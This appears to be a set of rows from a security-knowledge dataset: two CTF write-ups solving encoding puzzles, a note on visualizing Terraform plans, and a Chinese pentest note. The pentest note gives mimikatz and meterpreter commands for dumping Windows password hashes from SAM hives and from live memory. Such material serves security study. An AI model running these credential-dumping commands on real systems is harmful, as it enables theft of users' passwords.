byte = "".join([str(x) for x in a])
if not is_ordered_subset(format(ord(char), 'b').zfill(8), byte):
break
else:
values.append(char)
if expected_char is not None:
print(f"[{expected_char}] | ", end='')
if expected_char in values:
match_count += 1
print(values)
if expected_output is not None:
print("Match count: {}/{}".format(match_count, len(exp_output)))
if __name__ == "__main__":
solve(*sys.argv[1:])
```
We should test this theory against the sample data:
```console
root@kali:/media/sf_CTFs/checkpoint/SETI/SETI# python3 solve.py first_signal.txt "Bang, zoom, straight to the moon!"
[B] | ['B', 'E']
[a] | ['1', 'a', 'b', 'c', 'e', 'i', 'q', 'Q']
[n] | ['n']
[g] | ['g']
[,] | [',']
[ ] | ['0', '1', '2', '4', '8', 'h', 'H', 'P', 'Q', 'R', 'T', 'X', '!', '"', '#', '$', '%', '&', '(', ')', '*', ',', ' ']
[z] | ['z']
[o] | ['7', 'g', 'k', 'm', 'n', 'o', 'w', 'W']
[o] | ['7', 'g', 'k', 'm', 'n', 'o', 'w', 'W']
[m] | ['m']
[,] | ['*', ',']
[ ] | ['0', 'H', 'P', '!', '"', '$', '(', ' ']
[s] | ['k', 's', 'u']
[t] | ['j', 'l', 't']
[r] | ['r']
[a] | ['1', 'a', 'b', 'c', 'e', 'i', 'q', 'Q', 'R']
[i] | ['i']
[g] | ['g']
[h] | ['h', 'T']
[t] | ['t']
[ ] | ['0', 'H', 'P', '!', '"', '$', '(', ' ']
[t] | ['j', 'r', 't']
[o] | ['7', 'g', 'k', 'm', 'n', 'o', 'w', 'W', '[']
[ ] | ['H', 'P', ' ']
[t] | ['j', 't']
[h] | ['h', 'T', 'X']
[e] | ['e']
[ ] | ['H', 'P', ' ']
[m] | ['m']
[o] | ['o', 'W', '[']
[o] | ['7', 'g', 'k', 'm', 'n', 'o', 'w', 'W', '[']
[n] | ['m', 'n']
[!] | ['1', 'I', 'Q', '!', '"', '#', '%', ')']
Match count: 33/33
```
This looks very good! Now, to the second signal:
```console
root@kali:/media/sf_CTFs/checkpoint/SETI/SETI# python3 solve.py second_signal.txt
['C', 'E', 'I']
['S']
['A', 'B']
['u', '{']
['J', 'L']
['1', 'Q']
['j', 't']
['j', 'l', 'r', 't', 'Z']
['L']
['3', 'U']
['7', 'o', 'O', 'W', '/', '[', ']', '^', '_']
['h', 'H', 'P', 'Q', 'R', 'T', 'X', '(']
['3']
['0', 'P']
['8', 'h', 'p', 'q', 'r', 't', 'x', 'X']
['L']
['3', '5', 'k', 'S', 'U']
['4', ',']
['o', 'O', 'W', '/', '[', ']', '^', '_']
['W']
['h', 'T']
['Y']
['7', 'o', 'O', 'W', '/', '[', ']', '^', '_']
['K', 'M', 'U']
['4', '*']
['K', 'S', "'", '+']
['M', 'N']
['j', 't']
['7', 'g', 'k', 'm', 'n', 'o', 'w', 'O', 'W', '/', '[', ']', '^', '_']
['k', 'w', '[']
['3', 'U']
['o', 'O', 'W', '/', '[', ']', '^', '_']
['4', 'Z', ',']
['L']
['J', 'L', 'U', 'V']
['o', 'O', 'W', '/', '[', ']', '^', '_']
['J', 'R', 'U']
['k', 'm', 'u']
['5', 'U']
['i', 'j', 't']
['7', 'o', 'O', 'W', '/', '[', ']', '^', '_']
['9', 'Y', 'Z']
['3']
['i', 'j', 't']
['o', 'O', 'W', '/', '[', ']', '^', '_']
['4', 'T', 'Z']
['J', 'L', 'V', '*']
['0', 'T', 'X', '$', '(']
['N', 'V']
['9', 'Y']
['7', 'o', 'O', 'W', '/', ';', '=', '>', '?', '[', ']', '^', '_']
['m', 'u', 'y', 'z', '=', ']', '{', '}']
```
We can immediately identify "`CSA{`" in there, which is a great sign.
Now, what's left to do is search for words in the remainder. Eventually, we can find a meaningful phrase:
```
CSA{L1ttL3_P30pL3,_WhY_K4'Nt_w3_4LL_Ju5t_93t_4L0N9?}
```
## Thanks
Thanks to YaakovC and DHG for their help in the challenge!
|
sec-knowleage
|
上一季下载sys.hiv,sam.hiv,security.hiv文件后,以Linux下为背景来离线提取hash,本季补充以windows为背景离线提取hash。
mimikatz 2.0 二进制文件下载地址:
https://github.com/gentilkiwi/mimikatz/releases/latest
切到当下目录(注意X86,X64位)
mimikatz离线导hash命令:
```bash
mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
```

mimikatz在线导hash命令:
```bash
mimikatz.exe "log Micropoor.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
```

当然关于提取目标机的hash,msf也内置了离线提取与在线提取hash。
meterpreter下hashdump命令来提取hash(注意当前权限)


msf同时也内置了mimikatz,meterpreter执行load mimikatz即可加载该插件。**(这里一定要注意,msf默认调用于payload位数相同的mimikatz)**

直接执行kerberos即可。

当然有些情况下,payload位数无误,权限无误,依然无法提取目标机的密码相关。需要调用mimikatz自定义命令:
```bash
mimikatz_command -f sekurlsa::searchPasswords
```

> Micropoor
|
sec-knowleage
|
---
title: Terraform 在线可视化
---
<center><h1>Terraform 在线可视化</h1></center>
---
如果 Terraform 项目比较复杂,那么可以利用 Terraform Visual 这个网站,可视化 Terraform 项目,Terraform Visual 站点地址:[https://hieven.github.io](https://hieven.github.io)
首先在本地的 Terraform 场景目录下运行以下两条命令:
```bash
$ terraform plan -out=plan.out
$ terraform show -json plan.out > plan.json
```
然后将生成的 plan.json 上传到这个网站里即可
</br><img width="1000" src="https://github.com/hieven/terraform-visual/raw/master/docs/demo.gif"></br>
不过目前这个站点还只支持 aws 的场景。
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年6月16日"
}
}
</script>
|
sec-knowleage
|
# Databases
Category: Cryptography
## Description
> I took Database Systems last semester and found this message on the back of the exam, I don't think it has something to do with the course
A text file was attached.
## Solution
Let's check the attached file:
```console
root@kali:/media/sf_CTFs/technion/Databases# cat databases.txt
47415954414d4a52474159444349425147415954434d425147455953414d425247415944434d4a5247415144414d425247455944414d425145415944434d425247455944434d424147415954414d4a51474559544349425147455944414d4a5247455943414d425247455944434d4a5247455144414d4a5247415944414d4a5145415944434d4a5147455954414d4a4147415954434d4252474559444149425147455954434d425247455943414d425247455944414d425247415144414d4a5247415954434d4a5145415944434d4a5247415954414d424147415954434d4a51474559544149425147455954414d425147415953414d425247415944414d4a5247455144414d4a5247415954414d425145415944434d4a5147455954434d4a4147415954434d4251474159444349425147455944414d425247455953414d425247455944434d425147415144414d4a5247415944434d4a5145415944434d425247455944434d424147415954414d4251474559444149425147455944434d425147415953414d425147455954414d425247455144414d4a5147455944414d425245415944434d425247415954434d424147415944434d4a52474159444349425147455954414d4a5147415953414d425247415944434d4a5247415144414d4a5147415954414d425145415944434d425147455954414d4a4147415954434d4a52474159544149425147455944434d425247415953414d425147455954414d425147455144414d425247455954414d425245415944434d4a5247415954414d4a4147415954414d4252474559444349425147455944414d425247455943414d425247415954414d425247415144414d4a5247415944434d4a5145415944434d425247415944434d424147415954414d4251474559444349425147455944414d425247455943414d425247415954414d4a5147455144414d4a5147415954434d4a5145415944434d425147415954434d4a4147415954414d4252474159544149425147455954414d4a5147415943414d425247455944414d425247455144414d425247455944414d4a5145415944434d425247415954434d424147415954434d4a52474159544149425147455954414d425247455943414d425247415954414d425147455144414d425247455954434d425245415944414d4a5247455954414d493d
```
This looks like HEX. We'll decode with CyberChef:
```javascript
> const chef = require("cyberchef");
undefined
> const fs = require('fs');
> const contents = fs.readFileSync('databases.txt', 'utf8');
> chef.bake(contents, [chef.fromHex])
GAYTAMJRGAYDCIBQGAYTCMBQGEYSAMBRGAYDCMJRGAQDAMBRGEYDAMBQEAYDCMBRGEYDCMBAGAYTAMJQGEYTCIBQGEYDAMJRGEYCAMBRGEYDCMJRGEQDAMJRGAYDAMJQEAYDCMJQGEYTAMJAGAYTCMBRGEYDAIBQGEYTCMBRGEYCAMBRGEYDAMBRGAQDAMJRGAYTCMJQEAYDCMJRGAYTAMBAGAYTCMJQGEYTAIBQGEYTAMBQGAYSAMBRGAYDAMJRGEQDAMJRGAYTAMBQEAYDCMJQGEYTCMJAGAYTCMBQGAYDCIBQGEYDAMBRGEYSAMBRGEYDCMBQGAQDAMJRGAYDCMJQEAYDCMBRGEYDCMBAGAYTAMBQGEYDAIBQGEYDCMBQGAYSAMBQGEYTAMBRGEQDAMJQGEYDAMBREAYDCMBRGAYTCMBAGAYDCMJRGAYDCIBQGEYTAMJQGAYSAMBRGAYDCMJRGAQDAMJQGAYTAMBQEAYDCMBQGEYTAMJAGAYTCMJRGAYTAIBQGEYDCMBRGAYSAMBQGEYTAMBQGEQDAMBRGEYTAMBREAYDCMJRGAYTAMJAGAYTAMBRGEYDCIBQGEYDAMBRGEYCAMBRGAYTAMBRGAQDAMJRGAYDCMJQEAYDCMBRGAYDCMBAGAYTAMBQGEYDCIBQGEYDAMBRGEYCAMBRGAYTAMJQGEQDAMJQGAYTCMJQEAYDCMBQGAYTCMJAGAYTAMBRGAYTAIBQGEYTAMJQGAYCAMBRGEYDAMBRGEQDAMBRGEYDAMJQEAYDCMBRGAYTCMBAGAYTCMJRGAYTAIBQGEYTAMBRGEYCAMBRGAYTAMBQGEQDAMBRGEYTCMBREAYDAMJRGEYTAMI=
```
Now it looks like Base32:
```javascript
> chef.bake(contents, [chef.fromHex, chef.fromBase32])
01011001 00110011 01001110 00110000 01011010 01010111 01001110 01101111 01100010 01101101 01101100 01110110 01100010 01101110 01110100 01110110 01100001 01000111 01101000 01101111 01100001 01000111 01101000 01100110 01011010 01000100 01010001 00110011 01010001 01010110 00111001 01101001 01001110 01001000 01001101 01111010 01010101 00110001 00111001 01110101 01001101 01000110 01010010 01100110 01010010 01000101 01000110 01010101 01001110 01000111 01001010 01101000 01100011 00110010 01010110 01111010 01100110 01010001 00111101 00111101
```
Now it looks like binary:
```javascript
> chef.bake(contents, [chef.fromHex, chef.fromBase32, chef.fromBinary])
Y3N0ZWNobmlvbntvaGhoaGhfZDQ3QV9iNHMzU19uMFRfREFUNGJhc2VzfQ==
```
Now it looks like base64:
```javascript
> chef.bake(contents, [chef.fromHex, chef.fromBase32, chef.fromBinary, chef.fromBase64])
cstechnion{ohhhhh_d47A_b4s3S_n0T_DAT4bases}
```
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.